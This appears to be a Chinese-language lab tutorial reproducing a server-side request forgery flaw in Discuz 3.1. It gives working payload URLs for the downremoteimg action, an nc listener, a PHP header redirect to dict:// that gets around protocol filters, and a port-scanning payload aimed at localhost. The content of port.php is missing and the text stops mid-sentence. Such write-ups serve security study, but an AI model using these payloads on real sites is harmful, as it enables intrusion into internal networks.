#001 环境搭建:
Phpstudy+win7搭建discuz漏洞环境
把Discuz-3.1 源码拖到网站根目录,然后访问upload目录进行安装,根据提示即可
安装完成访问一波:
#002 漏洞复现:
Centos7,临时关闭防火墙
开启nc监听6666端口:nc -lvp 6666
查看centos7的ip
利用discuz的漏洞向centos7发起一个请求:
http://192.168.136.132/discuz-ssrf/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]http://192.168.136.133:6666/?data=he2lo.jpg[/img]
回到centos7查看结果,成功收到了请求
#003 利用Header函数绕过限制;
限制原因:
很多网站不允许使用ftp dict gopher协议去请求的,所以需要php函数 header来绕过
利用条件:一台公网服务器(搭建了php、apache等环境)。
在公网服务器创建一个dict.php的文件内容为,:
<?php header("location: dict://192.168.136.133:6666/info"); ?>然后在discuz中构造payload如下:
http://192.168.136.132/discuz-ssrf/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]http://192.168.136.133/dict.php?data=he2lo.jpg[/img]
并且在centos7开启监听:
回到centos7查看结果,成功接收到了请求info,成功利用header绕过限制,其他协议的绕过,改我们创建的php文件中的协议名称即可
#004 探测端口:
先在公网服务器创建一个port.php文件,内容如下:
构造payload:
http://192.168.136.132/discuz-ssrf/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]http://192.168.136.133/port.php?s=ftp%26ip=127.0.0.1%26port=80%26data=he2lo.jpg[/img]
如果加载的时间很长,说明该端口是开放的。其中127.0.0.1地址就是discuz的